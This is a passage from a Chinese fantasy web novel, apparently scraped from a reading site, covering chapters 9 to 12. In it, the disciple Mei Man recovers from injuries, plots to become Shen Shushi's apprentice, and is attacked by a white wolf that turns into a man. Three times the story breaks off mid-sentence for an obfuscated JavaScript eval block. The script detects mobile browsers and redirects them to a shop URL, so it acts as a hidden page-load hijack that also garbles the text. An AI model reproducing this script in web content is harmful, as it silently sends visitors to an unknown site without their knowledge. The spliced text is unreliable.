半晌,他侧身让路。 等走远了,秋应岭身边那个仙仆才埋怨道:“大公子,我看那谢序就是个石头做的,翻来覆去只会一句‘多谢秋师兄’‘多谢秋师兄’。这般木讷,仙尊怎会让您特地关照他,您自己都忙得很呢,哪有闲工夫操心他这么个木头桩子。” 秋应岭斜睇他一眼:“嘴里能蹦出这多打趣话,怎不说与师尊去听,恰好他终日嫌闷。” 仙仆老实闭嘴。 秋应岭又问:“交代你去查的事如何了?” 仙仆想了又想,还是忍不住道:“大公子,要不我怎么说那谢序是个木头打的,我回府里打听遍了,没谁撞见过他和我们府上哪个人说话呀。别说说话了,好多人根本就不知道这号人。” 他实在摸不着头脑,这谢序除了一张脸,就没什么值得说道的地方,怎么剑尊在关注他,大公子也要查他和秋府的人有没有什么来往。 真是怪了。 “那便继续查吧。”秋应岭说,“再去他先前做工的那家武行打听,行事谨慎些,切莫惊扰了谁。” 仙仆笑嘻嘻道:“您放心,我这就去,保管不叫人发现。” 他说完就走了,秋应岭则停下,回身远远望向那方药庐。 许久,他才抽回视线,转身离开。 * 秋应岭前脚刚走,谢序就进药庐了。 梅满懒得搭理他,干脆装睡。一双眼睛紧紧闭着,只耳朵还注意着他的动静。 他起先在码柴,柴木轻碰的声响闷闷的,有些催眠。 哪怕身上疼,她也听得昏昏欲睡。但忽地,放柴的声响停下,取而代之的是越来越近的脚步声。 她顿时绷紧身躯,做好了随时睁眼“应战”的准备。 可他竟然什么话都没说,只是握住她的手,随后放进了被子里面。 紧攥的手不受控地痉挛了下,梅满不明所以。 他这是干什么,可怜她? 梅满心底郁气更甚,听见他走远的声音后,她睁开一条缝儿,偷偷往房门口瞥了眼。 不期下一瞬,她就和谢序撞上视线。 他站在门口,正一动不动看着她。 梅满气个半死:“你故意耍我?!” “故意什么?”谢序说,“不是说不认识我么,平白无故,我为何要耍你。” 这个无赖!梅满咬牙切齿,想骂他,可刚使劲,肺部就疼得和针扎一样。 她一下就蔫了,没精打采偏过脸,不看他,也不理他。 谢序默不作声望着她,或更准确些,是盯着她身上的那些伤口。 半晌他转身离开,刚出门不久就撞上那医修师姐。 师姐早习惯他沉闷的性子,晓得他不常和人说话,便只冲他点点头,权作打招呼了。 不成想谢序忽然顿住。 “师姐,”他似乎在犹豫,斟酌片刻才说,“刚才那药庐里的人,伤得很重。” “你说梅师妹?”师姐点点头,神情严肃,“从楼上摔下来了,刚接上骨头,唉,晚上恐怕还要疼一阵——先不说了,还有些药要送去她喝。” “等等,”谢序叫住她,取出个很旧的芥子囊,从中翻找出一个瓶身开裂的青瓷瓶,“她先前中了丹毒,是五天前的事,丹毒已经清了,但有些药仍不便直接使用,可以配合这清毒丸。这清毒丸与她体质相配,药前服用。” 头回听他说这么多话,那医修都有些懵了:“你认识梅师妹?” 谢序张开嘴,脑中浮现的却是梅满那双固执的眼睛。 他脸色不变,说:“不认识。只不过那天恰好撞上她中丹毒,来药庐找药——师姐不必告诉她是我的药,我不是医谷弟子,她恐不会安心服用。” “原来是这样。”师姐收下那瓶清毒丸,“我知道了,幸好撞上你,这次用的药重,依梅师妹的体质,真有些难捱了。” 谢序颔首以应,提步离开。 师姐回药庐时,梅满正在挠胳膊,她看见了,忙上前拦住她:“梅师妹,别挠伤口。” 梅满愤愤道:“可我痒!” 那股痒在骨头里疯狂地窜,却摸不着碰不到,实在难受极了。 她自觉语气够差的,师姐却莫名笑出了声。 “骨头在长,肯定会痒了。别怕,有些安眠的药,熬过今晚就好了。”她说着,拧开了一个青瓷药瓶,倒出枚褐色的小药丸,在烛光下碾碎。 梅满面露警惕:“那是什么药?” “清毒丸。” 梅满更怀疑了,撑着被褥想下床:“我吃过清毒丸,都是整粒吞的,为什么要碾碎?” “嗳!别动,就躺那儿。”师姐一把把她按下去。 可恨她连这点挣扎的力气都没了,又陷回温暖的被窝里。 但她仍然直勾勾盯着那医修,妄图盯出个好歹来。 万一那长老后悔了,要联合她来杀她呢? 师姐说:“这是刚送来的药,得看一看好坏,配合你的体质使用。” 话落,她送出一缕灵力,覆盖住清毒丸碾成的粉末,看起来倒真像在检查。 梅满心觉古怪,他们医谷自个儿制的药,怎么还要试? 但师姐没给她多少怀疑的机会,她飞快处理掉那堆粉末,又倒出一颗,直接塞进她嘴里。 她甚至连质问的空当都没有,就吞下了那颗药丸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那声音带着点压抑的颤,很耳熟,不过她分辨不出来。 他断断续续说着梅满听不清的话,一会儿反复念叨着“对不起”,一会儿说“不要生气了好不好”,一会儿又说“我会爬到最高的地方”,末了又开始念叨“对不起”。 梦里的雨大了点,接二连三滴在她脸上。 这让梅满有些心烦,她抬起胳膊,想打走那声音。 她使的劲不小,在梦里都听见声模糊轻响。 可那人没有因此就退开,他掌住她的手,在手心里啄吻了下。 湿湿冷冷的一个吻,带来微弱痒意。 梅满下意识拢了下手指,几乎是同时,有什么东西压在了她的唇上。 像是胳膊,又似藤蔓——因为有温热的汁液流进了她的嘴巴里。 那汁液尝着很像血,带着点不明显的腥甜。不过比血好喝很多,清清润润的,让她想起来谢序制的清毒丸,吃起来也是这样清甜。 她忍不住吮吸起来,想要攫取更多,游窜在骨头里的那阵痛痒逐渐平息下来,压在心底的燥热也得到好转。 睡意更重,不多时她就困得连嘴巴都懒得动了,睡过去的前一瞬,那湿冷冷的吻似乎落在了她的脸上,带着模糊不清的轻语:“睡罢,会好的,会好的。” 第二天,梅满猛然惊醒。 床边根本没人,也没鬼。 什么破梦! 梅满恼蹙起眉,还没意识到浑身的疼痛都消失了,只觉得脸上有点紧绷。 她顺手抹了把,但什么都没有,仅摸着一点干涩的印痕,像是水干涸的痕迹。 她没怎么在意,等药庐里照顾病人的医修打来水后,便擦得干干净净。 10.第 10 章 师姐来帮梅满处理伤口时,很是惊讶:“怎么恢复得这么快?” 梅满有些不高兴:“恢复得快难道不好吗?” “不,不是,自然是越快恢复越好了,只是……”师姐捏着她的胳膊,往里灌注了一缕灵力。 梅满感觉到了那缕灵力,它像股暖烘烘的水流,从胳膊流过身躯、四肢…… 那滋味很奇妙,她好像变成了一朵轻飘飘的云,浑身都轻盈许多。她下意识想把它留下来,只可惜随着师姐收回手,那缕灵力也消散了。 她莫名感到怅然,手垂下,压在了被子上。 或许每个人都有属于自己的烦恼,师姐有她想要却没有的灵力,也会纠结其他事。 她不解道:“只是恢复的速度也太快了点,骨头完全长好了,身上的淤青伤痕也全没了,连你体内原本淤积的一点小毛病都好得彻底。” 她说话的时候,还在翻来覆去看梅满的胳膊,捏了几下她的小腿,又压下她的衣领,想要观察她的颈子。 梅满不适避开:“你干什么啊!” 师姐回神,忙摆手:“抱歉,抱歉,就是头回遇见这种情况,觉得有些奇怪。” “兴许是我身体好。”梅满说,“好歹和那些鬼打了一晚上架。” 师姐没听懂:“什么?” “没什么。”梅满问她,“既然没什么问题了,我是不是就能走了?” 这医谷虽然是天衍仙府的,但弟子看病疗伤也要钱,她可舍不得把灵石浪费在这上面。 师姐说:“我建议你可以多待两天,再观察一下。” “待一天要多少灵石?” 或许是因为她几乎把“抠门”两个字刻在了脸上,师姐愣了愣,方才解释:“长老虽然还在处理柴家的事,但他说过,柴家会负责你这段时间的药钱和其他用度。” 不早说! “既然师姐都说了,那多住两天也行。”梅满一下就躺了回去,“总感觉身上还很疼,可能是还有些毛病没检查出来吧。” 也不知道这话哪里好笑,师姐的嘴角往上扯着,就没下来过。 梅满便在药庐继续静养下去了。 在这里待着很清静,只一点不好——基本上每天都要撞上谢序。 也不知道他遇上了什么事,看起来状态很差,脸苍白得和死人一样,不像先前那样一手拎一摞柴了,只拿左手拎,右臂僵硬得像条木头。 更让梅满捉摸不透的是,他又开始像以前那样了。 白天装不认识她,夜里再来找她,还总带些新鲜东西,自己做的剑穗,用竹条编的小玩意儿,熬的药膳……甚至把在杂役院攒来的灵石全都给了她。 梅满起先赶他,拿难听的话骂他,丢掉他拿来的东西。 他竟然一声不吭全受了,就好像什么事都没发生过。像是她没辱骂过他,也没抛弃过他。 谢序越这样,梅满越觉得反常,更怕他。 什么人才会毫不在意别人的辱骂,甚至欣然承受,还加倍对那个人好。 都被这样对待了,还一个劲儿往前凑,那不纯粹是脑子有病的变态吗? 像她这种自私到只在意自己的人,实在不能理解他的行径,简直比见了鬼还可怕。 直到有天晚上,梅满的腿骨又开始疼。 师姐说她的骨头虽然长好了,但如果受到刺激,偶尔会出现酸胀感,是正常现象。 那天大概是白天走得太多,半夜她被一股不适感弄醒。 这种疼并不尖锐,钝钝的,但很磨人,憋在骨头里面,折磨得她在床上翻来覆去打滚。 谢序不知道打哪儿冒出来,他还是一声不吭,往她嘴里塞了枚丹药,随后握着她的腿捏。 或许是这些天的情绪又积攒到了极致,迫切需要一个发泄口,在他低着脑袋捏揉的时候,梅满狠狠咬了口他的胳膊。 当即就见了血,他抬眸看她,没抽回手臂,也没问她,仅是像以前做过无数回的那样,先摸了摸她的脑袋,而后俯身亲了她一下。 在这个蜻蜓点水般的吻结束时,他语气很轻很轻地祈求:“是我错了,不要生气,不要生我的气。” 从那天以后,干脆他送什么她就收什么了,反正她不嫌钱多。 而那医修师姐没说假话,梅满得到了柴家的补偿。 他们给了钱,送了许多天材地宝。别说起疑心了,他们甚至没露面,也没多过问一句,就像死的不是他们的家里人,而是个无关紧要的陌生人。 这理应是件好事,不会有人追究她的麻烦,她还得到了那么多宝贝。 可她心里不痛快,甚至隐隐生恨。 并非为姓柴的感到可惜,而是他们这漠然的态度让她意识到,像柴群那样的人还有很多。 以为一点怜舍就能抹平一切麻烦。以为只要他们赔了礼,给些小恩小惠,她就会诚惶诚恐地接受。以为他们给她的就是好的,而她一无所求,清心寡欲,揣着颗空荡荡的、没有任何情绪的心。 她是吗? 在这如附骨之疽的恨意中,梅满意识到她的法子出了问题。 如果因为厌恨一条突然蹦出来的蛆虫,就尽可能地、拼命地去踩死它,或许能解决那么一两个渣滓。 但也仅是一两个。 只要她没离开,总会有蛆虫冒出来,冒出来,冒出来! 柴群死了,还有下一个柴群。 就好比外门院的那帮人,当初因为安眠散的事接纳柴群,再排斥、厌恶他,就也可能因为其他事去摆布另一个人的尊严。 而这种把戏,指不定什么时候就会落在她头上。 意识到这一点,梅满开始感到焦躁。她急于摆脱这一切,却像只无头苍蝇四处乱撞,找不到任何办法。 对于一个没有灵根的凡人而言,能够在一座仙府的外门院里混日子,就好像已经走到这辈子的最高处了。 可要是她不甘心呢? 要是安于现状对她来说是一种缓慢的长久的惩罚,而她还想爬到更好的地方得到更好的东西呢? 似乎就没有其他路可以走了。 她整日思索着,琢磨着,有时候一想就是一整天,要么在狭小的药庐里漫无目的地打转,要么安静蹲在一边,和快要发霉的蘑菇无异。 这样的烦躁一直持续到某个阴天,秋应岭的仙仆照常来看她。 姓秋的很忙,这几天不常来药庐,即便来,也待不了多久就要走。 她随口问过,他只说在帮仙尊找一样东西。 有时她在他身上闻见了很浓的血味,她不知道找东西还会受伤,但他没说,她也没那闲心打听。 仙仆摆开一桌饭菜,并从袖中取出个玉白色的瓶子,放在了桌上。 比柴群打碎的那个更精致,也更漂亮。 梅满瞟了好几眼,忍不住问:“这是什么?” “瓶子。”仙仆木讷应道。 “……我看起来像瞎子吗?我是说,你拿这个做什么。” “大公子送的。” “为什么?”梅满狐疑问道。 在秋府做事时,秋府的管家说她太轴,任凭别人送个什么东西,都要问清楚缘由。 但她觉得没有平白无故送出去的东西,不然指不定会付出什么代价。 就好比她先前拿了秋应岭的瓶子,是因为她替他跑了腿,谢序送她东西是因为喜欢,那么秋应岭送这瓶子,也该有个原因。 仙仆想了想道:“大公子说你受伤,也与他送的那根龙骨有关,这瓷瓶,还有这些天的饭菜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919024|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是赔礼。” 其实就算他不送那根龙骨,也早晚会有这么一天,毕竟那姓柴的性子又不是被一根骨头扭曲了的。 不过这理由也说得过去,她便心安理得收下了。 梅满打开食盒,问他:“他今天去哪儿了?” “南洲的小峭山。” 梅满舀了口粥喝:“那么远?岂不得去个两三天。” 仙仆点点头:“我还有事要往秋府跑一趟,你吃,中午我来收拾。” 他前脚刚走,师姐便来帮她检查身体。 这次她检查得很快,没一会儿就收拾东西要走。 梅满问:“你今天要去找药君?” 药君是这仙府的另一位仙君,她常年住在内门的百药峰,这师姐算是她半个徒儿。 每隔两天,师姐都会往百药峰走一趟。 师姐边收东西边说:“对,师尊今天要过问医谷的一些情况,时间会久一点。” “哦。” 梅满只是随口过问一句,没想到师姐跟打开话匣子似的,又说:“还得去山下走一趟,托人买的灵草也到了。沈仙师那儿也得去,唉,指不定什么时候回来。” 梅满抬眸:“沈仙师还在闭关?他是修仙之人,要真不舒服,不是吃些仙丹就好了么。” 那天——在他带着柴群来向她赔罪的那天,他就说沈疏时身体不适,正在闭关。 这都多少天了。 “这……我也不太清楚。”师姐摇摇头,“仙师几乎每隔段时间都要闭关几天,恐是医谷也无可奈何的旧疾,只能送些调养灵力的药了。” “哦。”梅满低头喝粥。 她舀起一勺粥,忽然顿住,平稳的心脏猛地重重跳了下,且越跳越快,几乎要撞破胸腔。 这些年在秋府,她观察人的本事学得不错,也看得出同样是整天板着个脸,长老是假公正,沈疏时却是真正经。 这人很严肃,还很苛刻,因而多数外门弟子都有些怕他。 可在她看来,态度严肃、要求苛刻也代表着他的确想教些真东西,而不是敷衍了事——尽管这份真性情换来的常是那些弟子的疏远惧怕。 事实也如此,她查过以往从外门进入内门的修士名单,虽然算下来没多少人,但其中差不多有一半是由他举荐进去的。 所以打从一开始,她就在他教的灵药课上下了不少功夫,希望能博得一个进入内门的机会。 但以前这目标并不明确,如今她才真正思索起这法子的可行性。 如果能让沈疏时收她为徒,她是不是……就能进入内门院了? 梅满咽了下干涩的喉咙,心脏还在狂跳,却尽量摆出副十分自然的表情,问师姐:“那你这次去,也是要给仙师送药?” “对。” “我帮你吧。”梅满说。 要想让沈疏时收徒,至少得先在他那里留下个不错的印象,再琢磨下一步该怎么走。 她想,没有比现在更好的机会。 “你?”师姐抬头,惊讶看她,“那怎么行,你还得养伤呢。” “可我的伤已经好了,而且待在这里很闷。我保证去了不乱走,只送药。” 师姐有些摇摆不定:“可你不是……” “我知道。”梅满恼道,“我知道我不是内门弟子,但师姐,难道我连进去看一看的机会都没有吗?” “不,我不是这个意思。只是,只是不该这样麻烦你。” “不麻烦,师姐,你就答应我吧。再闷在这药庐里,我都快发霉了。” “可——”师姐看着她,那双烟蒙蒙的眸子很少露出这样哀求人的眼神。她心头往下一陷,还没想明白就已经开口道,“那……那好吧,可是,你一定要小心一点,别乱跑。” 11.第 11 章 梅满没能看见内门弟子院的景象。 外门院大致居西,内门院在中,几位仙君与其亲传弟子则在东方的主峰。 她跟着师姐进了传送阵,直接被传去了主峰。 出传送阵后,师姐给她指路:“你顺着这条路往西走,路过靶场,再往前就是沈仙师的仙府。有童子守门,你直接把药交给他。如果遇上什么状况,就用这传讯符,我在里面放了道灵力,直接撕碎它就能用了。” 梅满接过那张明黄色的符箓,翻来覆去看,没看出什么名堂。 师姐急着要走,走之前还不忘留下几句嘱托:“你送完了就在这传送阵前面等我,我大概需要两个时辰。切记别乱跑,也不要进洞府里面。” 梅满没当回事。 要是不进去,不亲眼见着沈疏时,他哪里会晓得她拖着副病躯来帮他送药? 那她岂不白跑了。 梅满敷衍点点头,随后往她指的方向去。 她感知不到灵力,但自从来到这主峰,整个人就像泡在暖暖的池水里一样,脑袋也清明许多。她猜是因为这里的灵力很充沛,但再充沛,对现在的她来说也没什么用。 没走多远,梅满听见了一阵笑闹声。 她循声望过去,看见一片四四方方的场地,场地一边是几个高大靶子。半空中还漂浮着灵靶,那些灵靶像小鸟一样乱飞,肉眼都难以捕捉。 那应该就是师姐说的靶场了,靶场上有四五个修士正在射箭,男女都有,穿着颜色各异的剑袖劲装。 他们能在这儿,大概都是几位仙君的亲传弟子。 其中一个男修举起把长弓,用灵力凝出支箭,瞄准了飞快乱窜的靶子。 一支箭射出去,与那个靶子擦边而过,没打中,但也打得靶子在半空乱晃一阵。 其他人都开始抚掌喝彩。 嘁!也不怎么样嘛,又没打中,鼓什么掌。 梅满心里酸得揪成一团,像是塞满了尖利的石头,那些小石头来回滚着,碾出又烫又尖锐的刺痛。 她直勾勾望着那方,恨不能把他们一个二个全盯穿。 或许是她的视线太过炽热,那些修士发现了她。 抢先鼓掌的那女修是头一个看见梅满的,她“咦”了声,其他修士就也都齐齐望过来。 被几个人同时看着,梅满忽然有些局促,手紧紧掐着掌心,眼神也躲闪。 她下意识想走,但步子都还没转过去,那几个修士就和鬼一样,转眼便到了她眼前。 “你是谁?从没见过你。”当头的一个男修率先开口,他模样儿出挑,眼神热烈朗快,可也倨傲。 他身旁的另一个女修笑着说:“是好面生,要不要一起玩儿?” 她说话的时候,领头的男修一直盯着梅满,好像她脸上有什么东西一样。渐渐地,他眼底的倨傲融化开,被一种莫名的热切取代。 他往前一步,高高大大的身形几乎要把太阳挡住。 “是啊,一起玩吧。从没见过你,你叫什么,师尊是哪位仙君,该叫你师妹吗?”他问出一连串问题,看起来像个话痨。 这人越热情,梅满心底就越发酸,脸色也更阴沉。 什么人啊,莫名其妙的。 可惜他看不出来,甚至准备介绍自己了:“我是——” 一道高大人影忽然从斜里走出,那人一把抓住梅满的胳膊,将她拉去他身后,挡得严严实实的。 她还没来得及收敛表情,面色阴沉得厉害,但眼睛已经下意识往上抬了。 挡在她面前的人束着高马尾,身着黑红配色的文武袖,背后负着把黑色长弓,更衬得蜂腰猿背,体段峥嵘。 足踏金缕靴,腰佩攒白玉。稍一动,还能闻着香风。清雅淡淡,真似个神仙人物。 梅满没看见他的脸,却认出这人。 正是秋二,秋鹤扬。 她眼一垂,落在他攥着她胳膊的手上,皱眉。 他什么意思,她就这么见不得人? “秋鹤扬,你这是干什么,难不成认识这师妹?”领头的那男修问,语气有些不满。 “我朋友,不爱和生人打交道。你们这乌泱泱的一群围过来,不知道自个儿有多吓人?”秋鹤扬嗓音也轻快,好似性情有多率真。 但梅满晓得这人也就表面这样,实则傲慢得不将任何人放在眼里,行事也和他哥如出一辙,手段狠辣。 那男修说:“原来是你朋友,不早说,从没听你提起过。” 另一个女修道:“切,你这个没长眼睛的,看不出来?——秋鹤扬,要不叫她一起玩,现在生分,慢慢就熟了。” 男修又说:“她会射箭吗?不会我也可以教她。” 梅满瞟了眼远处的靶子,估摸着光那几个靶子都比整个外门院值钱。半空中随意飞过的一抹灵力,也足以压得外门院的修士抬不起脑袋。 有时候不怪她心底扭曲到流黑汁,旁人求都求不来的机会,放这些人嘴里也只是玩玩而已。 梅满低下脑袋,盯着地面上的一条砖缝,却陡然发现连地上的砖都飘动着太极景象,一看里面就融有深厚的灵力。 霎时间,她感觉自己的心快拧成了麻花。现在不论谁和她搭话,这根麻花都可能猛然散开,化成言语的鞭子狠狠抽对方一顿。 要不是她还有理智,估计还会当场捶胸顿足声泪俱下涕泗滂沱,质问老天怎么这么不公。 但没人逼着她开口,她也还没气疯,便只阴沉沉站在秋二背后,像团积怨已久的怨灵。 她还是太有品行了。 “不了。”秋鹤扬想也不想便道,“好不容易来找我一次,和你们凑在一块儿玩算什么。不说了,我带她去吃杯茶,你们接着练。” 梅满以为他这话只是推辞,没想到他真以为她是来找他的。 一进靶场旁边的茶室,他就说:“小梅,今天吹什么风,竟然舍得来瞧我一眼。” 看来像他这种人果然都有一样的毛病,以为自己是堆篝火,只要站在那儿,全世界所有人就都手拉着手,开始绕着他们转圈。 但这种话只能在心里想想,梅满老实巴交地说:“今天才得空,就来看你。” “我还以为你在外门院待得忘乎所以,要把老朋友抛之脑后了。”秋鹤扬捏了捏梅满的胳膊,打量着她,“身体结实了些,是好事。” 梅满说:“外门院的训练重。” “那样才能打下不错的底子。”秋鹤扬大喇喇倚坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921233|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在椅子上,单手支颌道,“你看见刚才那个修士了吗?” “哪个?” “最前面的,还问你叫什么名字的男修。” 梅满思索着,脑子里立刻浮现出那人的模样。 但她晓得秋鹤扬的脾气,便说:“没有仔细看。” 果然,他的脸色好转了点,眼神倨傲地斜着:“一个才筑基的废物,也敢在我面前叫。贱胚,要不是看他还有用,早把他的灵脉打碎了,还能留他到现在。” 若是旁人听见这话,兴许以为这是他恼怒至极的气话,可梅满知道他不是说笑。 毕竟他以前真这么做过。 和别人切磋的时候,他直接碾碎了对方的灵脉,还要佯装是失手,眼眶红红地冲对方道歉。 所有人都信他不是故意的,毕竟他在大家面前一直很爽朗大气,谁能想到他在背后又是另一副面孔。 有时候梅满都怀疑他的身躯里是不是住着两个人,一到她面前,另一个人就蹦出来了。 恶毒,凶狠,傲慢,不把任何人放在眼里。 他或许笃定她不敢把这些话说出去,才敢这么畅所欲言。 况且她还会“尽职尽责”,适当捧两句:“他看起来没有你厉害。” 秋鹤扬移回视线看她,脸上露出笑。 他的笑很有欺骗性,略微下垂的眼角,看起来清爽又无辜,再露出一点尖尖虎牙,任谁瞧他都会觉得是个好人。 其实是个私底下嘴毒得不行的烂人罢了,梅满在心底默默骂道。 他说:“小梅,提都别提他,那种人连蝼蚁都算不上,只脏你的嘴。” 梅满摸不透他的想法,干脆不说话了。 秋鹤扬又看向窗户外面,冷哼一声:“还教人射箭,以为自己是谁,一点上不了台面的破箭术,真说得出口。” 他边说,手里边转着根箭,话落,竟将那支箭从中折断,再丢至一边。 梅满看得心疼。 那箭镞一看就品相好,不知道值多少灵石,真是个败家的。 她问:“那支箭你还要吗,不要了我可以帮你扔。” 赶在他开口前,梅满已经上前捡起了两根断箭。 “扔那儿得了,何须跑一趟。”秋鹤扬拉住她的手,顺势将她拉至他身前。他仰头看她,“在外门院待得怎么样?我想去看你,但兄长说那对你没好处,我想了想也是,只好暂且忍忍。” 梅满由衷道:“不看也没事。” 秋鹤扬抱住她,脑袋埋在她的小腹上,仰着双眼睛看她,竟然有点像在撒娇:“小梅,满满,可我们是朋友嘛。” 他总说他俩是朋友,她可不敢。 整天在她面前摆出副看谁都不顺眼的样,万一哪天他也看她不顺眼了,岂不得像他对付那些人一样整治她,到时候她怎么死的都不知道。 她自然不能表现出来,便点点头,心里只想着赶快找个由子溜走。 恰逢这时,茶室外面传来阵说笑声,是那几个修士。 听见他们往这边来了,秋鹤扬不耐烦“啧”了声。 他起身说:“小梅,你在这儿等着,我出去看一眼。” 梅满点点头,但他刚出去,她便打另一边跑了。 12.第 12 章 这回梅满观望四周,专挑人少的地方走。 从靶场往前没走多远,她就看见了师姐所说的洞府。 但外面没有什么童子守门。 梅满在附近找了找,连个人影都没看见,大门也紧闭着。 按说她该回去,毕竟师姐提醒过她,让她千万不要进洞府。 可她就是冲着见到沈疏时来的,这时候回去岂不白跑一趟。 她自然不甘心,上前叫门。 谁知她刚叩下门环,大门就被“吱呀”推开一条缝。 没锁吗? 梅满窃喜,这简直是上天都在帮她。 她毫不犹豫地推门而入。 一条临河的青石板路蜿蜒至前方,两边可见琼花瑶草仙树,是一处山水澄明的洞天福地。 不过她没闲心欣赏景色,如果能拜沈疏时为师,她会有数不尽的时间观赏这些,如果失败了,现在看再多也没用。 梅满顺着路径往前走,暗暗琢磨着该如何让他接受收一个凡人为徒。 她没有灵根,可他除了灵术、符箓之外,还擅长制药,制药又用不了多少灵力,倘若她用心钻研这一门,说不定他会破格收徒。 前方逐渐出现深阁琼楼,应该就是沈疏时的住处了。 梅满开始装出副瘸腿的样子,拖着之前骨折的左腿,一瘸一拐往前走。 一路上她没碰着任何人,甚至连鸟叫虫鸣都没听见,时间久了,她渐渐意识到不对劲,步子也放慢很多。 “仙师?”她尝试着喊了声。 回应她的是一片死寂。 梅满停下,鞋底在青石板上摩擦出刺耳的响。 那些亭台楼阁静静伫立在苍松翠柏中,半空浮动着烟霞散彩,还能隐约看见青鸾彩凤飞舞的虚影。 这样的祥瑞仙境,可她的后背忽然窜上一点寒意,冷冰冰的,顺着脊骨直冲头顶。 直觉告诉她不该再继续往前,她头皮发麻,周遭的一切细微响动都开始放大。 心跳,呼吸,风吹过树叶的沙沙响动,流水声…… 窸窸窣窣的混乱动静里,她忽然听见一声“吱呀”细响。 梅满倏地转头望过去,猝不及防看见一具童子的尸体。 她吓了一跳,差点叫出声,好不容易定性归神了,才发现那不是个人。 而是个木头做的傀儡。 秋家也有不少用来驱使的傀儡,一旦注入灵力,或是贴符,它们看起来就和真人没什么两样。 可地上那架傀儡破破烂烂的,一张脸面目全非,身上遍布着宽长的凹痕,看起来像是某种大型兽类的爪痕。 不安感瞬间暴涨到极致,梅满往后退了步,下意识想跑。 这时,她听见了一阵微弱的“咔嚓”声。 像是枯叶被踩碎的声响。 她倏地偏过头。 映入眼帘的是一双亮绿色的兽瞳。 在瞥见那双兽瞳的瞬间,她浑身都绷紧了,不敢再动一下,唯恐激起那东西的兽性。 那野兽缓步走出密林,她也得以看清它的模样。 是一头狼。 但比一般狼的身形大上很多,体型快要接近成年老虎,一身顺滑蓬松的白毛,垂在身后的尾巴有如利刀。 脱离暗处,它的眼睛从亮绿变成蜜褐色,没那么幽冷,却仍攻击性十足。 她猜这应该是沈疏时养的灵宠,寄希望于它能听懂人话,一边面朝着它缓慢往后移动,一边说:“我来给沈仙师送药,你知道他在哪儿吗?” 那头白狼忽然停下了。 梅满以为它真能听懂人话,稍微松口气,说:“如果知道,劳烦带个路。” 话落,它忽然躬低背,身躯几乎要紧贴地面,脑袋却还微微昂着,露出森白尖利的牙齿,喉咙里滚动着威胁式的声响。 梅满的心骤然紧缩,脑子里浮现出那具傀儡的惨状。 它不是灵宠吗? 下一瞬,它猛地往前跃出,直奔她而来。 这下梅满也顾不得装瘸了,转身就飞快往围墙跑。 墙那边有条河,水有些急,但她水性不错,等下水拉开段距离了,再用师姐给的传音符。 她飞快想出了逃生的法子,眼睛紧紧盯着前方的围墙,死命迈着两条腿。 身后是飞速逼近的“呼哧”声,围墙越来越近,很快就离她只有三步远。 两步—— 一步—— 梅满高抬起胳膊,想要抓住围墙的上方。 可不知怎的,围墙上方竟像是有一堵“空气墙”,她的手刚碰上去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929116|191971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就被大力弹开。 与此同时,那头狼咬住了她的后衣领。 眼前的景象开始骤然变换,光影旋转成混乱的一团。 她被那头狼叼咬住,猛地往后一掀。 梅满摔倒在地,连滚了好几转。 狼扑了上来,一只硕大的爪子按住了她的肩膀。它的爪子沉甸甸的,力度大到她的整条左臂都动弹不得。 她哽出声短促的气音,头还眩晕着,只看见惨白的尖牙。 是那头狼大张开了嘴,它倏然低下脑袋,冲她的脖颈扣咬下去。 梅满吓得几乎发不出声音,右手冲它的嘴巴挡去。 一声凄厉的惨嚎炸响。 她紧闭起眼,侧过脸避开溅洒而来的血。 而她的右手紧紧攥着支折断的箭矢,箭矢的尖端扎透了那头狼的上颚,箭镞从它的吻部鼻骨冒出一点,闪着银白的寒光。 梅满睁开眼,只感谢她这贪财的性子,没丢了从秋鹤扬那儿捞来的断箭。 因为疼得厉害,那头狼的爪子也松了些,它凄惨哀嚎着,不住用爪子去抓挠冒出的一截短箭。 梅满还不至于同情这畜生,要不是她手里有支断箭,这会儿惨叫的就是她了——不,兴许她连惨叫的机会都没有,就被它直接咬断了脖子。 狼还压在她上方,梅满只能通过手肘带动身躯,飞快爬了出来。 她爬动着踉跄起身,没犹豫,径直往大门的方向跑,并掏出了师姐给她的那张传音符。 但还没撕开符,她的背上就袭来了沉甸甸的重量。 那条狼追上来了。 这烦人的畜生! 梅满攥紧另一半断箭,回身准备刺它。 可这回闯入视线的,却并非是那双深褐色的兽瞳,而是洁白紧实的胸膛,上面还溅洒着星星点点的血迹。 梅满愣了瞬,脑子全空了。 人? 还是个……没穿衣裳的男人。 这突来的变故让她有些发懵,以至于他将她扑倒在地上了,她才抬头去看他的脸。 